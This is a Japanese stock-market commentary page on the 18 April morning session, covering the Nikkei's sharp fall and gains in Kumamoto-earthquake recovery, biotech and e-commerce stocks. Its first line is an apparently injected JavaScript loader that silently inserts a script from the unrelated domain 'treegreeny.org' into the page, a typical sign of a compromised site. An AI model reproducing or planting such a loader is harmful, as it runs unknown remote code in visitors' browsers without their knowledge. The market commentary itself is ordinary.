;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/18 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【4/18 前引け】

前場の日経平均株価は503円円安と大幅続落。増産凍結の合意が期待された主要産油国会合は合意出来ずこれを受け、リスク回避の円高、原油安が進行し、日経平均は朝方から売りが先行となり一時は先物主導で下げ幅を広げ600円安に迫る場面も。売り一巡後は買い戻しが入ったが投資家心理の悪化から戻りは限定的となっている。

物色では、全市場で熊本県地震を背景にした復興関連株が軒並み上昇し、上下水道向け鉄管を手掛け、耐震管に注力している【5612】日本鋳鉄管、【1888】若築建設、【1937】西部電気工業、【1914】日本基礎技術、【5269】日本コンクリート、【7985】ネポンなどの大幅高やストップ高が目立ち。また、シンガポールのフィンテック企業「Dragonfly Fintech」と事業提携を発表した【3853】インフォテリアが買い優勢となっているほか、16年1-3月期は営業利益2.2倍との観測報道が出た【3912】モバイルファクトリー、先週末上方修正発表のあった【7575】日本ライフラインなどが大幅上昇となった。

人気のテーマからはバイオ株の【4565】そーせいが上場来高値を更新したほか、【4576】デ・ウエスタンがストップ高。【4582】シンバイオ製薬が大幅高。また越境EC関連、【3134】Hamee【3415】STUDIOUSなどが急伸となった。

先週の上昇から雰囲気が一転。外部環境、熊本の大地震などから目先不安定な相場展開。更なる下値模索の展開も想定しておきたいところだ。